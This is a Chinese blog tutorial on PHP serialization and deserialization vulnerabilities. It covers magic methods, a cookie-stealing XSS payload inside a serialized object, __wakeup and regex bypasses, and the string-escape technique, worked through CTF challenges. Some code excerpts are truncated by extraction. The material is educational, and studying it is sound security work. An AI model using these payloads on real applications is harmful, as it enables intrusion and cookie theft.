
本文共 4693 字,大约阅读时间需要 15 分钟。
文章目录
php序列化与反序列化
php序列化就是将复杂的数据类型(比如说数组,字典,或者一个对象)转换为字符串,方便传输或者存库等操作,并且之后还能后恢复成原来的数据类型的过程。这样可以在不用这个数据的时候让它占用尽可能少的空间。
要注意的是,序列化只是对他的变量进行序列化,类中的函数是不会参与进来的。php序列化与反序列化的函数 | |
---|---|
serialize() | 用于序列化对象或数组,并返回一个字符串。序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。 |
unserialize() | 可以将serialize序列化复杂数据类型后得到的字符串类型的数据重新转换成原来复杂的数据类型。 |
举个栗子
name = $_name; $this->age = $_age; }}$_name = "haha";$_age = 10;$t = new Demo($_name, $_age);echo serialize($t);?>
这里有段php代码,给他序列化之后得到
O:4:"Demo":2:{ s:4:"name";s:4:"haha";s:3:"age";i:10;}O --是一个对象类型4 --对象的名字有四个字符2 --对象里面有2个变量s --变量为string类型4 --name为4个字符i --int类型
当使用反序列化函数时,就可以轻松把序列化的字符串转换给一个对象了。
php的一些魔术方法
称之为魔术方法是因为,普通的方法(也就是函数)只有在调用的时候才会被执行,而魔术方法在达到某种特定的情况下不需要调用就可以执行了。
__construct() | 具有构造函数的类会在每次创建新对象时先调用此方法。 |
__destruct () | 析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。 |
__toString() | 用于一个类被当成字符串时应怎样回应。 |
__sleep() | 在对象在被序列化之前运行 |
__wakeup() | 将在反序列化之前立即被调用 |
反序列话漏洞示例1
找了半天找到一个比较容易理解但是一看就知道商业中不会用到的情况。
有以下php代码test; }}$a = $_GET['test'];$b = unserialize($a);?>
分析一下,获取get传参test的值,然后进行反序列话,在对象生命周期结束时,会调用__destruct魔术方法,这个时候就会echo这个参数了。
所以我们可以在本地构造一个特殊的语句,序列化之后传参过去。当后台php反序列话之后就会把$test变量赋值为我们构造的特殊语句。O:4:"Test":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}
这样就可以实现弹出cookie了。 反序列话漏洞示例2
__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。
这时攻防世界的一道题unserialize3
题目代码class xctf{ public $flag = '111';public function __wakeup(){ exit('bad requests');}?code=
我们得到xctf类的序列化字符串O:4:"xctf":1:{s:4:"flag";s:3:"111";}
O:4:"xctf":1:{s:4:"flag";s:2:"111";}
反序列话漏洞示例3
和示例2的利用点差不多
file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } }if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
在反序列化执行之前,会先执行__wakeup这个魔术方法,需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。
PHP序列化的时候private和protected变量会引入不可见字符 \x00,输出和复制时可能会遗失这些信息,导致反序列化的时候出错。
private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,
protected属性会引入 \x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
比如s:5:“A<null_byte>B”;
-> S:5:“A\00B\00\0D”
; 把序列号后的s变成S就可以了,里面的字符就可以正常 O:4:"Demo":1:{ s:10:"Demofile";s:8:"fl4g.php";}↓ 绕正则O:+4:"Demo":1:{ s:10:"Demofile";s:8:"fl4g.php";}↓ 修改属性个数O:+4:"Demo":2:{ s:10:"Demofile";s:8:"fl4g.php";}↓ 加空白字符echo base64_encode('O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}');
Jarvis的一道题目
http://web.jarvisoj.com:32768/index.php 通过任意文件读取获取index.php, shield.php, showing.phpindex.php readfile();?>
shield.php file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } }?>
showing.php
其实这个题也不算反序列化漏洞,只是传参的时候传一个序列化后的字符串就可以了
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
反序列化字符串逃逸
原理
x = $_x; }}$_x = "hello";$t = new T($_x);echo serialize($t);?>↓O:1:"T":1:{ s:1:"x";s:5:"hello";}
反序列化后的接过
$s = 'O:1:"T":1:{s:1:"x";s:5:"hello";}';var_dump(unserialize($s));↓object(T)#1 (1) { ["x"]=> string(5) "hello" }
特殊构造一下
$s = 'O:1:"T":1:{s:1:"x";s:5:"world";}"hello";}';var_dump(unserialize($s));↓object(T)#1 (1) { ["x"]=> string(5) "world" }
示例
ctf show 月饼杯 web1uname=$uname; $this->password=$password; } public function __wakeup() { if($this->password==='yu22x') { include('flag.php'); echo $flag; } else { echo 'wrong password'; } } }function filter($string){ return str_replace('Firebasky','Firebaskyup',$string);}$uname=$_GET[1];$password=1;$ser=filter(serialize(new a($uname,$password)));$test=unserialize($ser);?>
?1=test↓O:1:"a":2:{ s:5:"uname";s:4:"test";s:8:"password";i:1;}
构造
?1=Firebasky";s:8:"password";s:5:"yu22x";}↓ 序列化后O:1:"a":2:{ s:5:"uname";s:39:"Firebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}↓ 反序列化后O:1:"a":2:{ s:5:"uname";s:39:"Firebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
这样正常的话就可以把后面的password给逃逸出去,但是这里显示s的字符长度为39,一定解析不了。
这里有一个问题就是,明明刚才已经把Firebasky替换成了Firebaskyup,但是后来unserialize的时候又变回去了。如果输入?1=";s:8:"password";s:5:"yu22x";}是30个字符O:1:"a":2:{ s:5:"uname";s:30:"";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}而每一个Firebasky变成Firebaskyup但长度不变,既可以逃逸出两个字符所以需要15个Firebasky就可以逃逸出30个字符了
也就是输入15个Firebasky时,都会被替换成Firebaskyup,正好就是165个字符,此时就可以正确反序列化了。
发表评论
最新留言
关于作者
